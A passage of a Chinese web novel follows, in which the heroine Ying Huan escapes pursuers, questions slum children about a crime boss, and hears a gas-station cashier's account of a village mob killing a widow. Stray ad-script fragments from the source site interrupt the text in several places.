恐怕那些人还以为她会上演一次高空逃脱,她偏就不随他们的愿,而是以最低调的方式离开集团。 目前,她已经掌握了霍尔集团的商业机密。嬴欢很清楚想要凭借这点儿把柄根本不足以把赫伯特·霍尔扳倒,他背后的脉络网强大而紧凑,甚至警方、检察院中都可能会有他的人存在。 而这一次的他也绝不会忘记给自己留退路。 嬴欢现在无比希望管理局的人降临眼前,把这碍事的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家伙打包带走,他只要还在这个世界里,嬴欢的心神就难以放在任务上。 “麻烦精。”一拳实打实地砸在他的轿车上,车面霎时间多了块凹陷。 仿佛不解气般,嬴欢顺便也将他名下的其他几辆车挨个来了一脚,最后扯下几张车辆防尘套披在身上,启动机车隐入茫茫雨夜。 晚间新闻。 【著名集团总裁家中失窃,后颈造歹徒暴力击打,私人医院表示患者情况不方便透露──】 【霍尔集团枪声不断,六人轻伤。目前警方已介入──】 【集团大厦突然陷入黑暗!经多方检查为子弹穿透电路系统,导致全公司供电系统损坏,原因未知——】 与此同时,阴云密布的马路上。 一辆机车划破了雨夜的寂静,音浪响彻山林,由远至近。 阴潮的雨滴打在纯黑色的机身上,衣角翻飞,冰而薄的唇瓣在半透明的头盔下若隐若现。 心在热烈地跳动,月光被云层隐蔽,仿佛有什么不详之事即将在这片无尽的夜发生。 少女腾出一只手整理头盔前的雨雾,时不时回头观察。车灯只能照亮一小片前进的道路,尤其是在高速行驶的情况下,这举动和玩命无异。 不过和身后那些持枪追杀自己的那些人比起来,玩命似乎又成了唯一的选择。 她保持最高速状态,和身后的骑队拉开距离。 似乎是认清了强行交战也占不到什么便宜,那群人远远跟踪了她将近三十公里,这一幕宛若猫鼠交战的现实版。 一辆巨型货车与她擦肩而过,嬴欢趁机加足马力,利用货车庞大的体积为自己打掩护。 就在一个弯道后,追踪少女的几个人顿时忍不住破口大骂。 她不见了。 在国道上疾驰了十五分钟后,嬴欢拐向一条偏远的小路——那是去往旧工业区的方向。 鼓动的心脏随着一点点深入街区而变得越发沉寂。 机车的速度变缓,嬴欢一只手掀开头盔,透过雨雾,这里的一切依旧很熟悉,和第一次来时没什么两样。 破损的机械零件随处可见,堆成一座座小山,而在大型零件的中央搭建着流浪者的帐篷。 他们在大雨来临前在顶部涂上防水涂料,然后搬运各种机械零件在帐篷周围搭建一个临时防护栏用来抵挡风暴。 虽然看上去简陋,可却是他们唯一能够保护居所的办法。 细微的灯光在暴雨中忽隐忽现,在浓黑的夜里成为星星点点的萤火虫群。 明天会是晴天吗?她无端冒出一句疑问。 抹掉脸颊上的雨水,浸湿的手套像砂纸般摩擦着皮肤,扭了扭酸软的脖子,少女继续驾驶着机车向内部深入。 树影不断后退,雨渐渐变小了。 突然,几个披着雨衣的小孩儿从零件堆里爬了出来,边跑边张开双臂,死死拦在了她的前路。 “!” 嬴欢目光一凛,立马一个甩尾急停。 雨天路滑,轮胎与地面摩擦发出一阵刺耳的声音,车子在距离他们十厘米处堪堪停了下来。 车轮飞溅起大量泥水,像花园里的花洒水壶似的,将眼前这一排排“小树苗”们浇了个透彻。 她没等开口训斥,小孩们争先恐后地围住了她的车身,甚至还有几个爬上了她的后座。 “嘿!” 明明是孩童大小的身型,却有着“排山倒海”的气势,他们紧紧抓着嬴欢的衣角,试图从她身上找出什么值钱的东西。 可恶,这是遇上狗皮膏药了。 嬴欢手臂下意识一紧,一个肘击将身后的“爬虫”击落,她大喝:“不想死的话就滚远点儿——” 那声音中气十足,而小孩儿们只犹豫了一瞬便继续拉扯着她湿透的皮衣外套,有个胆子大的直接伸手拽她的头盔。 在饥寒交切的境况下,活下去的信念战胜了一切恐惧,他们想活着,哪怕被唾骂、被厌恶、被拳打脚踢。 嬴欢如同拎小鸡崽似的把他们一个个扔下车,力道虽然收着但也足够让他们短时间内爬不起来。 她皱着眉发动引擎,准备彻底甩开他们,却在声浪轰鸣的刹那间听见一阵隐忍的哭声。 “……唉。”小孩儿就是麻烦。 想到这话时,嬴欢明显忘记了自己现在也是个小孩儿,除了个子比他们高一截外,年龄相差无几。 29. C-012(九) 因为嬴欢的沉默,孩子们都警惕地看着她,生怕下一秒她就会下车过来把他们再打一遍。 在这场诡异的对峙下,她开口了。 “我身上没什么钱,只有这个东西拿得出手。” 嬴欢妥协般地从外套口袋拿出一把压片糖果,这还是她从小助理的桌面上顺来的,准备用来补充糖分。 孩子们眼睛瞬间变得亮晶晶的,一齐上前哄抢。嬴欢可不惯着他们的行为,直接将手举到最高处,冷冷看着几个小孩儿在自己身前蹦来蹦去。 她呵止住眼前的小孩们,目光郑重:“糖可不是白给的。我会问你们几个问题,回答得最好的那个人可以得到一颗糖果。” 从工业区长大的孩子自幼就知道圆滑,他们彼此间对视了几眼,齐齐点头,回答了几声“好”。 不远处的工厂灯火通明,隐约能听见里面机器运作的声音,嬴欢抬了抬眼皮,随手一指:“你们知道那是什么工厂吗?” 小孩们争相高喊:“是纺织厂!” “有好多好多机器人在织布!” “是彼得翁老板的家!” 旧工业区是贫富阶级、帮派、暴力、科技等多方元素的集合体,表面上是连政府都想直接放弃的一块烂地,实际上早已经成为了灰色产业的温室。 许多工厂都采用了高度机械化的设备,人工被机械全面取代,底层人民的生存环境一再被压缩。 富人更富,穷人更穷——一系列恶性循环下,这里的苦难一代又一代地加深,直到演变成了孩子们眼中的寻常。 嬴欢将一颗糖果递给最先开口的小孩儿。 麻花辫小姑娘在其他小孩儿嫉妒的眼神下怯怯接过,悄悄地说了声“谢谢”,随后将糖果慎之又慎地放进贴身的口袋里。 嬴欢默不作声地帮她把雨衣后的帽子扣紧,低低看着孩子们,想了想道:“你们中间最活泼的人是谁?” “是托雷!” “托雷!” 被围在最中间的小孩儿骄傲地昂起脸,想必他肯定就是他们口中的托雷了。 嬴欢从手心里挑选出一颗包装精致的糖果,与刚才的标准不同,这一次她把糖果递给了声音最大的孩子。 下面传来几句委屈的叫声。 嬴欢一一抚摸过他们的头,雨水沾满她的指尖,“好了好了,那就再来一个问题——” 寒风吹过林梢,树影重重。她斜坐在车座上,双手放在腋下最温暖的地方。 “抢答题——这个工业区里最厉害的人是谁?” 此话一出,孩子们齐齐噤住了声,似乎都有些忌惮这个问题。 没有人回答。 嬴欢知道他们想到的那个人是谁,只是他们不敢提起罢了。 也不知道从何时开始,那名字与姓氏就成为了旧工业区统一的禁忌。 “糖果好像不多了哦——”她假装遗憾叹气,手指揉捏着彩色包装纸,发出细碎的声响。 “是……”有人忍不住发出一个音节,其他人则十分同步地瞪向声音来源。 “……” “是霍尔老大!”那个名叫托雷的男孩儿大声打破沉默。 “对,是霍尔老大!”一些胆子大的跟着附和道。 嬴欢在人群里精准找到那几个勇敢的孩子,把对应数量的糖果抛给他们,语气里含着奖赏:“讲得不错。” 没有得到糖果的孩子们一个个垂下了头,都在想自己如果勇敢一点就好了,明明只是讲出一个名字而已。 “下一个问题——” 孩子们屏住呼吸,一个个像等待哨声的运动员,随时准备着冲刺。 “你们为什么叫霍尔‘老大’?他是什么很厉害的人物?”嬴欢抱着双臂,故意装作不解的模样。 “当然了!他超级厉害的!” “霍尔老大是我们的偶像!” “他从我们这个位置爬到了最高的地方!他是我们的信仰!” 小迷弟们冒着星星眼,那眼睛里包含着崇拜、向往、仰慕…… 这里的每个人都希望自己能像霍尔那样从泥水里的流浪儿跃升到整个世界的“王”,那样就可以永远不用风餐露宿了! 他们不用捡残羹剩饭、不用担心帮战交火、不用害怕被人卖到别的地方……他们羡慕霍尔、敬佩霍尔、更想成为霍尔。 只是成为下一个霍尔前的代价,他们怎么会知晓呢? 嬴欢不禁思考霍尔在他们这个年纪都做了什么,杀人放火、越境贩毒、走私诈骗……这些对于他来说简直是家常便饭,可孩子们呢?难道他们的人生只剩下成为霍尔这一条道路吗? 她坚信那不是他们唯一的选择。 乌云褪去,月亮终于露出它的面目。 她对着月色高昂起头颅,声音如溪水流淌:“听着,小家伙们——不用去信仰谁,也不用去成为谁。” 嬴欢不擅长讲什么大道理,她既不是统领千军的大指挥官邬泽,也不是被誉为“商界传奇”的邬明仪。 她只是一个穿梭过很多世界的寻常人而已,她仅能凭借自己亲眼看到的来讲述、描绘。 孩子们看了看彼此,努力消化她的话语。 嬴欢数了数手里的糖果,递给麻花辫女孩儿,“去吧,一人一个。” 两只小手合并在一起,费力接过那一大把糖果。 女孩儿用水灵灵的眼睛盯着眼前的大好人,语气里充满了惊喜:“谢谢你,大姐姐。” 嬴欢无言,对着她轻轻一笑。 雨渐渐停了,树丛里的蛙鸣声格外嘹亮。孩子们排着长队,等待糖果放在自己的手心里。 这本该是个享受“爱”的年纪,家人的爱、朋友的爱、老师的爱……可他们偏偏却要经历这么多的悲苦。 眼前蓦然浮现出实验室里的景象,无数个孩子挤在狭小的房间内,眼睛里充满绝望与死寂。 嬴欢看着那一张张小脸上溢出的笑意,有些喘不过气来。 明明是两种相反的情绪,却是同一种境遇。 嬴欢闭上双眼,大口呼吸着雨后的空气,不忍再去打扰他们的好心情。 她戴好头盔,启动引擎开关,凝望着远方有光亮的方向。 “大姐姐——请等一下!” 身后传来女孩儿的一句高喊,嬴欢哪怕隔着头盔也能听见她声音里的颤抖。 嬴欢向身后瞥去。 孩子们一手紧紧攥着糖果,另一只手高高举起,朝着她的方向挥手。 小麻花辫站在人群最前面,兜帽下的脸庞在夜色中无比朦胧,她几番努着嘴巴,小心翼翼地说:“向北六公里是旧工业区唯一的加油站,那附近有家便利店,里面很暖和。” “谢谢。”头盔下传来沉闷的声音,望着他们点了点头。 孩子们抱成一排,轮胎划过湿滑的地面,直到那身影变成一个小小的黑点,再也看不到为止。 * 幽暗的路灯忽明忽灭,勉强照亮指示牌上的文字,那是几个歪歪斜斜的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手写体:加油站。 与寻常市区里那些加油站不同的是,这里的每一个加油机都被围上了护栏,像是在防着什么似的。 她将车停在距离最近的8号位,熄火、打开油箱。 加油员是个矮小而不起眼的男人,红色的工作服倒是很整洁干净,他看了眼少女,吹了个华丽的口哨:“小妹妹,成年了吗?” 嬴欢淡淡扫了他一眼,刻意加重声音:“95号,加满。” 男人耸耸肩。心想,只是客套话而已,怎么现在的女人都敏感成这样? 不过仔细看看她的样子似乎也不像是什么善茬,于是他也懒得自讨无趣,举起油枪放入油箱口,等待加油机上的金额攀升。 “收银台在里面。”他扬扬下巴,用抹布擦了擦溢出的汽油。 便利店的店面不大,牌匾上的字母已经模糊到看不清了。 自动玻璃门的前方又多安装了一层防盗护栏,喷漆很旧,应该是在很久之前就被安装上去了。 “8号。” 嬴欢从手套里拿出两张现金,递给收银员,目光不由自主地落在她身后的货架上。 零食、饮品、香烟……都是一些记忆里久违的东西,她想,这里确实很温暖。 等待收银员找零的时间,少女那张已经冻僵的脸逐渐恢复了红扑扑的模样。 冷气被全部隔绝在外面,她的皮肤就像活过来了般,衣服黏在身上的感觉变得尤为突出。 伸手接过零钱和小票时,嬴欢忍不住打了个喷嚏,几枚硬币从她手里溜了出去,一直滚进了收银台底部。 她皱眉,弯腰去寻找硬币的踪迹。 收银员阿姨也跟着寻找,两个人一前一后,围绕着收银台打转。 “怎么了小妹妹,遇到麻烦了?”方才的加油员走了进来。 嬴欢一门心思找自己出走的硬币,根本没注意到男人已经站在了自己的身后。 一只鬼鬼祟祟的手放在了她的腰下方,装作自然地拍了拍。 他没发现嬴欢的嘴角忽然向两边一扯,正感叹着年轻就是好,还想接着得寸进尺向下滑去。然而就在下一秒,他的胸部硬生生挨了一记肘击。 整个人如同被打飞的沙包袋,直接飞出去两米远,撞上玻璃门发出一声闷响。 全流程不超过三秒钟。 在收银员惊呆的模样下,嬴欢慢悠悠地走到男人跟前,车钥匙在指尖匀速转动,她一脚踩在他的某个分身上。 “啊——”那声音尖锐得像屠宰场里的公猪,震到嬴欢都忍不住摸了摸耳垂。 也不过五成力罢了,足矣让他长一辈子的记性。 嬴欢挑起他胸前的工作牌,定睛一看。 “斐、一、耀。” 她的眼睛轻轻转动,最后又回到了已经晕过去的男人脸上。 名字有点儿耳熟,这货和斐一然什么关系? 思索了几秒,嬴欢将工作牌放在收银台上,面露微笑道:“抱歉,让你受惊了。” 女人大概三四十岁,模样周正,气质文静。 对于嬴欢的道歉,她也只是摇摇头:“他不是第一次了。” 原来还是个惯犯。 嬴欢细细观察她的情绪,似乎能从中读取很多信息,忧惧、愤怒、无奈……有些东西是不言自明的。 简直难以想象,之前那些被骚扰的女人得温和什么程度才会让这种货色一直嚣张到今天。 天杀的。这么想着,她又转身狠狠补了几脚。 30. C-012(十) 滚烫的茶水冒着阵阵雾气,手指在杯壁缓缓摩挲,嬴欢闭了闭眼睛,感受热度于指腹之间传递。 两个不同年纪的女人倚身靠在收银台前,望着天边的鱼肚白,开始了一场漫无边际的谈话。 “冷吗?”她说着,将自己夜间打盹的毛毯递给少女。 嬴欢把毯子罩在身上,端起茶杯抿了一口。 舌头衔满了茶叶,她忍不住嚼了嚼。又软又韧,被热水浸泡后仅剩下略微的苦味。还挺好吃的,她想。 苦味之后口腔里像被洗涤过了一般,唾液也变成了丝丝甜的,难道这就是传说中的“回甘”? 还沉浸在这种新奇体验的少女早就忘却了身上的湿冷感,她一边嚼茶叶一边扭头看她:“怎么称呼?” 女人把工牌递给她看。 “李玉清。”少女缓缓读出。 “好听的名字。” 两人相视一笑。 “我叫嬴欢。女字底的嬴,欢迎的欢。” “真别致。是你妈妈起的?” 嬴欢咀嚼的动作静止在半空中,一秒、两秒。 她好像又感受到了衣服贴在身上的难受感,忽隐忽现,让人无端觉得烦躁。 “我……说错什么话了吗?”李玉清的嘴角慢慢僵住。 嬴欢对李玉清摇了摇头,将快凉了的茶水一饮而尽,“唔,没有。” 嘴上虽然否认,但表情里透出的冷漠不会骗人。 李玉清又给她添了一杯茶,摸着茶壶的外壁,小心地看着她的表情:“真是对不起啊。” 嬴欢低着脑袋,听见她的话不由得皱眉,“你不需要道歉,是我不知道该怎么回答。” 气氛依旧凝滞。 “我已经不记得关于我生母的事情了,只知道她叫‘嬴毓’。”少女继续说道,“我刚出生几个月就和她分开了,连她长什么样子都不知道。” “但她一定很爱你。”李玉清将她耳边的发丝拨到后面,“每一个妈妈都爱她的女儿。” “你也有女儿?”她看见她点点头,但那张脸上的笑意却未达眼底。 这种感觉很奇妙,一个“女儿”和一个“妈妈”在像朋友似的喝茶聊天,明明是两代人,话题却格外地重合。 “可以和我说说你女儿吗?”嬴欢攥紧茶杯。 李玉清性格不温不冷,但谈到孩子时总会不自觉地嘴角上扬。 “她从小喜欢捣蛋,在我肚子里时就是。”她摸了摸腹部,像是想起了什么,“当时生她的时候在后半夜,我一个人在医院手术台上。那天是大暴雨加台风,照明系统短路,几个医生举着手电筒给我顺产。” 旧工业区的医院是家老破小,几万号人都只能靠着这一家医院治病看病。 虽然是公立医院但医疗费用对于这里的人依然是难以企及的存在,很多人只有到了命悬一线的时候才会考虑医院。 李玉清活了快四十来年,唯一一次住院也是因为生孩子,几乎把半辈子攒下的钱都搭了进去。 嬴欢看着她略显粗糙的手,“你上夜班的话,她一个人睡不会害怕吗?” 问题一出,她并没有等到女人立刻的回答,空气反而宁静了下来。 李玉清咬着唇,整个头颅都快要垂在胸前。 欲言,又止。 这下子轮到嬴欢反思自己的话语了,她尝试补救一下场面:“我们也可以聊聊别的……” 她的手缓缓从小腹处放了下来,眼睛一瞬间染上红色,声音含糊不清:“她被我丈夫带走了。” 嬴欢捏着茶杯的手指隐隐发白,连眼神都清明了几分:“什么意思?” 女人的脸不知何时变得惨白无比,她深吸一口气,表情逐渐扭曲。 “他,其实是我的小叔子。”李玉清盯着地面上的男人道。 嬴欢来回望了望两人,不知道是不是茶叶喝得有点儿多,反正她这下子是彻底清醒了。 “他哥哥带走了我的女儿——那个该死的东西,他就是个混蛋!” 少女的秀眉顿时一蹙,她放下茶杯,将女人的身体扳至自己的方向,“等等……你认识斐一然吗?” 李玉清迷茫地摇了摇头,“斐一然?” “对。”少女认真得可怕。 她看见李玉清脸上的表情从思索转为震惊,两只眼睛瞪得老大,一把拽住嬴欢的小臂。 她的嘴唇不断颤栗,“我、我记起来了——她是那个女人的孩子!” “哪个女人?”嬴欢被她的话越说越绕,只能耐心地继续引导:“告诉我,好吗?” 李玉清的情绪突然崩溃,她连连往后退,直到撞在了背后的货架上,上面几排香烟摇摇欲坠。 “不、不……” 嬴欢快步走到李玉清的面前,将她抱在怀里:“没人会伤害你,有我在。没事的、没事的……” 女人的身体像筛子般左摇右晃,她哽咽着嗓子,不断地摇头、再摇头,“不……我不知道你在说什么,我真的不知道……” 嬴欢捧起她惨白的脸颊,声音沉抑无比:“看着我,你在害怕什么?害怕谁?” 她的追问直击灵魂,李玉清愣愣地盯着那双清澈的黑眸,眼神飘忽不定。 女人时不时向自己的身后投去眼神,那是来自潜意识的反应。嬴欢凝着眉望了望身后,看到地上男人的那一刻,心下明了。 她拍了拍女人的后背作为安抚,紧接着走到昏迷的斐耀身前,鞋尖对准屁股,一脚把人踢了出去。 他滚下两个小台阶,摔在了水泥地面上。 浓浓的晨雾下,男人如同一具死尸般倒在店门口,场面静谧而诡异。 嬴欢一点儿都不担心会不会有人注意到他。 毕竟在这种地方根本无人在意陌生人的死活,哪怕是看见有人被明晃晃枪杀在脚下,他们也只会假装成偶然路过,生怕会波及到自己身上。 许多人把这里称为“道德的洼地”,在她看来,这句话一点儿没错。 嬴欢使用铁丝将防盗门牢牢缠紧,确认没人能打开后,她回头看着李玉清,“他死不了,但短时间内也不会醒,你可以放心了。” 李玉清张了张嘴,她连忙上前牵住少女的手腕,把她拉回温暖的室内,将毯子重新给她盖在身上。她抿着嘴唇,眼眶里凝聚着泪光,紧紧抱住这个比自己小了二十多岁的姑娘。 “谢谢你……谢谢你、孩子。” 嬴欢拍了拍她不算宽厚的脊背,贴在她的耳边,“现在可以和我说了吗?你认识斐一然,对吗?” 李玉清缓缓松开怀抱,她攥着自己的衣角,眼球不断左右转动着,似乎这名字像某种诅咒,只要一提起就会陷入可怕的梦魇漩涡。 “她……算是我的外甥女。” 嬴欢摸了摸下巴尖,她印象中的斐一然虽然有点儿小脾气,但也算是个心地善良的姑娘,怎么会让李玉清怕成这般模样? “你刚才提到了‘那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个女人’,她是谁?是斐一然的母亲吗?” 李玉清的脸上出现一丝裂痕,嘴角向下撇着,双手攀上自己的脸,“……” 嬴欢精准地扶住她的身体,目光透着鲜有的温和,轻声安慰:“没关系的,你可以向我倾诉,无论什么都可以。” 她不知道李玉清到底在害怕什么,但心中明白那其中一定隐藏着无比黑暗的东西。 她必须要将那东西挖掘出来,让它重睹天日。 “她死了……” 嬴欢的手微微一抖,她引导她说出那个名字:“谁?是谁死了?” “我不认识她。我只知道她是斐一然的母亲。她死了,被村子里那些人活活打死了。” “……” 接下来的谈话里,李玉清详细讲述了那个村庄里所发生的故事——一个女人的悲剧。 斐一然的母亲在三十岁的时候嫁给了一个村子里的有钱户,丈夫是个有名的纨绔子弟,每天打牌、喝酒、找小姐样样不落。 女人生下了一个孩子,女孩,也就是之后的斐一然。 女孩生下来后,丈夫回家的次数越来越少,每天的日子依旧是打牌、喝酒、找小姐。 直到有一天清晨,女人在家门前的池塘发现了丈夫的尸体。 街坊邻居们议论纷纷。有人说是夜晚路滑不小心摔进去淹死的,有人说是想不开自己跳进去找死,甚至还有人说是被她克死的。 但无论如何,他死了。女人成了一个寡妇。 有一天,她收拾行李想要带着小斐一然出走,在路上恰好遇见了“亲戚”。 值得一提的是,那个村庄有八成人都姓斐。 她被那位“亲戚”拖回家中,半个村子的人都闻讯而来,他们推搡她、抽打她、辱骂她…… 越来越多的人聚集在她的家门前破口大骂。 李玉清是被丈夫带到那里的。 她记得女人家门口挂着两个破旧的灯笼,门前扫得很干净,栅栏整整齐齐地摆放成一个圈,任谁看都知道这是个生活讲究的人家。 她并不知道自己来这里做什么,一开始甚至以为是谁家结婚,或者谁家办满月酒,不然很少会聚集起这么多人来。 等李玉清被丈夫带到人群前方时,她看到了一滩红血,以及一个白花花的女人。 那一刻她看傻了。 所谓“讲究人家”的形象简直像初春的河面似的,无比轻易地破碎了。 耳边充斥着各式各样的下流话语,□□、妓女、不要脸的贱胚子…… 李玉清不知道用什么词形容那种荒诞的感觉,就像一颗即将爆炸的手榴弹扔进了她的怀里,而她全身僵硬,只能活生生等待着火药爆炸。 她想要逃出人群,却被丈夫用力嵌住了手臂。他说,那就是克死他哥哥的毒妇。 李玉清的脸被他强行掰正,他要她看看那女人的下场,要她仔细记住每一个细节。 那具身体上布满了灰漆漆的脚印,甚至还有被鞭打出的紫红色痕迹。原本整洁的头发乱成了燕子窝,她两手抱着头,整张脸掩埋在土里,嘴里重复发出几个模糊的音节。 李玉清的泪水倒流进了鼻腔里,她不敢让眼泪流下来,她害怕自己是下一个躺在那里的女人。 女人的孩子,一个襁褓中的婴儿,被随意丢在十米远的木桌子上。 人们对她的妈妈肆意欺侮,而她只能望着天空砸吧着嘴巴,甚至不知道周围在发生着什么。 31. C-012(十一) “是谁害死了她?” “所有人。” 李玉清的眼睛里闪着泪光,领子浸湿了一小片,哽咽难言。 “大概在斐一然八岁的时候,那女人又一次想带着孩子从村子逃出去。” “她选择在半夜里拿着行囊离开,但中途就被举着火把的村民们抓了回来。” 看来是有人专门盯着她的家,随时都在提防着她们逃跑。 可这一次,女人的下场又会怎么样呢? 嬴欢这般想着,嘴唇咬出了一个不起眼的小坑,她继续看向李玉清,等待她的下文。 “她不知道把孩子藏在了哪里,村民们没找到斐一然,他们很愤怒很恼火,于是活生生把她打死了……” 嬴欢的瞳孔慢慢放大。 ——被打死了。 轻飘飘一句话不知概括了多少痛苦。 嬴欢的手指插在头发里,她抓了抓发尾,声音隐隐发抖:“那你呢——你是怎么从那地方逃出来的?” 听完那个女人遭遇后,她不由得想要更多了解李玉清的经历。 她和那女人既有着相同的命运,也有着不同的命运。 “我没有逃……”李玉清的声音淡到几乎听不见。 “五年前,村子被一个几百人的帮派劫掠搜刮,他们杀害了绝大部分村民。我、我丈夫、斐耀,我们比较幸运,躲在菜窖里没被发现。” 嬴欢静静地盯着她,青灰色的眸像是覆盖了一层阴蒙蒙的尘埃。 此时此刻,眼前的李玉清就是苦难的具体化。 “在我们三个来到旧工业区务工不久后,我生了一个女儿。我丈夫在孕期出轨了别的女人,刚坐完月子没多久,他就把我从出租屋赶了出去。” “那你女儿……”嬴欢记得李玉清说那男的带走了她的女儿。 “他就是个混蛋!他该去死!”说到这里,李玉清的情绪越发激动,“我提出要和他离婚,但他威胁我说、说让我永远都见不到我的孩子……” 孩子成为了他控制她的“把柄”,李玉清被他牢牢把控着命脉,从头到尾都没有主动权,只有等待被支配的份。 嬴欢摸着冰凉的额头,毋庸置疑,李玉清已经被逼到了死胡同里,那是一条无法回头的路。 斐一然母亲、李玉清……婚姻到底给这两个女人带来了什么呢? 爱情?钱财?安全感?那明明就是个吃人不吐骨头的地狱! 她们根本不是这场盛宴中的主角,而是盘子里的献祭品,由她们的长辈将她们亲自献上男人的餐桌。 桌上的主角则会拿起餐具开始大快朵颐,切开她们的血肉、拨出她们的血管、啃食她们的脊骨,要把她们彻彻底底塞入肠子里才罢休。 当然,在场的每一位宾客都是帮凶——他们目睹所有、默认所有,最后再践行所有,直到形成一个完美闭环。 “他会一直监视你的——借着那个男人的眼睛。”嬴欢望了眼窗外,一针见血道。 从她和斐耀在同一家加油站兼职开始,就注定了李玉清无论在村子里还是在外面都处于她丈夫的监视范围内。 男人维护男人、男人帮衬男人,互相勾结,乐此不疲。 李玉清后知后觉才反应过来这个道理。 是啊,他们是兄弟,他们是团结在一起的。 她就是一条被玩弄股掌的小鱼,只能眼睁睁看着水流从指缝流走,而自己则会因为窒息而亡。 李玉清紧紧扶着收银台一角,手指用力到畸形,脸上却是近乎绝望般的平静——她仿佛又看见了那个伏在地上的、浑身鞭痕、衣衫褴褛的女人。 只不过这一次,那个女人是她自己。 * 嬴欢望着女人的身影,没有说一句话。她知道,李玉清现在肯定很混乱。 但她现在需要的是冷静,而不是安慰。 少女走至窗前,太阳从地平线下方踊跃而出,整个天空被粉刷上新的颜色。 玻璃上覆盖着一层水雾,光线在水雾的晕染下变得朦胧无比,它在向全世界昭告,新的一天已然来临。 时间不知过去了多久,嬴欢忽而抬起头来,李玉清仍然还在盯着眼前的地砖,像一个丢了魂的躯壳。 她回到女人的身旁,想要做些什么把她从情绪中拉出来。 嬴欢想了想,开口道:“这里有地图吗?” 店里正好挂着一份市区地图,李玉清把地图递给少女,紧接着便去收拾歪倒的货架,整个过程没有说一句话。 每个人释放情绪的方式都不一样,嬴欢注视着女人的背影,本想开口再说些什么,但李玉清的眼睛却专注在货架上,更确切地说,是陷入了一个人的世界。 嬴欢将注意力转回手里的地图上,她拿起收银台上的铅笔,在地图中找到霍尔集团、研究所、旧工业区等对应的位置,标记成一个点。 她撑着下巴凝视着那几个黑点,扭过头去:“你还记得村庄的位置吗?” 李玉清恍然一顿,她停下手里的动作,拿过少女的地图看了一会儿,将村庄的位置指给她看,“这里。” 嬴欢点点头,将村庄用铅笔标记好。 如果将研究所、村庄、旧工业区三个点连起来,是个比较标准的正三角形,三条边的长度相差无几。 而三角形下方的几公里处就是边境线,山脉延绵、积雪不断。 她继续将周围的几条国道、河流、桥面等全部着重标记出来,一点不落地印入脑海里。 “你,是在寻找什么东西吗?” 李玉清不知什么时候来到了她的身旁,那张煞白的脸终于恢复了些许血色。 嬴欢一怔,用手指轻轻抚摸着光滑的纸面,回答克制而简短:“找我的朋友,我们已经失联很久了。” 李玉清看向她划出的区域,指出几个地标:“电视台、印刷厂、新闻出版社……或许,你可以试试在这些地方发布一些寻人启事?” 少女轻微皱着眉头,在那几个地点巡回了几圈,最后对她道:“嗯,我会考虑的。” 李玉清看得出她的顾虑,手指缓缓移动至“旧工业区”的标点上,低声说:“其实,旧工业区有一家著名的地下酒吧……” 少女的眼睛霎时间亮了亮,凑到地图前面。 “那里虽然鱼龙混杂,却也能搜集到很多信息,里面有很多情报贩子。”李玉清的语气平淡得宛若白开水。 嬴欢摸着地图,垂下眸子,“那个,你还好吗?” 她冷不丁来了一句。 李玉清愣了愣,干涩的眼睛缓慢地眨动。 * 少女一直很善于观察人们的情绪。 这种能力如果安在一个多愁善感的人身上,恐怕会是个极其可怕的劣势,但嬴欢不太一样,她的内核是个“机器”。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >观察特定人群的情绪可以帮助她获得额外的信息,在这个奉行“效率至上”的社会,这是个完美无瑕的优点。 “我、我已经没事了。” 李玉清的声音里掩盖着几分勉强,她努力扯了扯嘴角,露出几颗牙齿:“我现在就带你去那家酒吧,就当做提前熟悉路线了?” “可是……和你换班的人还没来。” 李玉清拉着她走了出去,将门口的“正在营业”的牌子翻转过来,变成了“暂时歇业”。 “路程没多远,也就十几分钟而已。”李玉清锁好防盗门,刻意略过门口那个趴着的男人,对少女点头:“跟我来。” 昨晚的雨带来了凉爽的气息,嬴欢的衣服半干未干,微风打在身上简直就和冬泳没什么区别。 李玉清是个跛脚,在便利店狭窄的过道里并不明显,一但走远路就暴露无遗了,她察觉到少女的目光,不好意思地笑了笑。 “小时候被自行车撞坏了骨头,家里拿不出钱来治,就落下了这个毛病。” 她一边说着,一边将职工外套脱下来披在少女的肩上,“早晨的风最冷了。” 马路上积满了水,车流驶过时会溅起一大片水花,全部浇在了树丛里。 “昨夜的雨下得真大。”她轻声感叹。 嬴欢全程没说话,观察着附近几百米的环境。路上行人极少,偶尔一两个也都是年迈的拾荒者。 走着走着,她们来到一个上坡,两排的白桦树像守卫般扎根在道旁。 李玉清扬了扬下巴向她示意。 嬴欢往她目光的方向看去,上坡的侧面衔接着一个向下的隧洞,正好处于视野死角,被茂盛的草木遮蔽着。 像是防空洞之类的东西。 她蹲下身子,小心翼翼地向前靠近。 隧道里躺着几个七扭八歪的男人,嬴欢仔细观察着他们的状态,应该是几个刚从酒吧出来的醉汉。 嬴欢贴着墙壁,谨慎地走上前去,用脚踢了踢几个男人的身子,试探了一下他们的清醒程度。 还好,起码还喘着气呢。 隧道更深处隐约有暖黄色的灯光,以及一阵音乐的响动。 嬴欢下意识想往里面继续深入,突然又想起外面的李玉清,她霎时间转过身去,却看见女人黑色的身影站在出口处,正微笑着看着她。 那双温柔的眉眼带着泪光,干瘪的嘴唇像月牙儿一样笑得弯弯的。 两个女人的视角一上一下,一个站在阳光里,一个站在阴影中。 她们彼此注视。 在这一刻,嬴欢的眼睛变得湿润起来,她嗓子涌出好多话想要说,但休止符已经提前落下。 “再、见。”她看见女人的唇语在说,“很、开、心、认、识、你。” “我、也、是。”嬴欢轻轻点头。 脸上的泪珠骤然滚落,李玉清捂住嘴巴,布满茧子的右手朝着少女挥动。 女人僵硬而缓慢地转过身去,阳光倾洒在她的脸上,照亮着她的每一根发丝,每一处细纹,每一个毛孔。 她迎着光继续向前走,哪怕泪流满面。 但每走一步,她的眼神就越坚定。 两个不同年纪的女人最终还是背道而驰,直到消失在彼此的轨迹中。 但并不是所有的告别都是遗憾。 因为——她们都走上了一个崭新的、充满希望的道路。 32. C-012(十二) 越靠近隧道深处,刺耳的摇滚乐所带来的震感越加明显。 灯光将五颜六色的玻璃图案映照在墙面上,产生独特的光影,一家隐匿于地下的酒吧就这样展现在嬴欢的眼前。 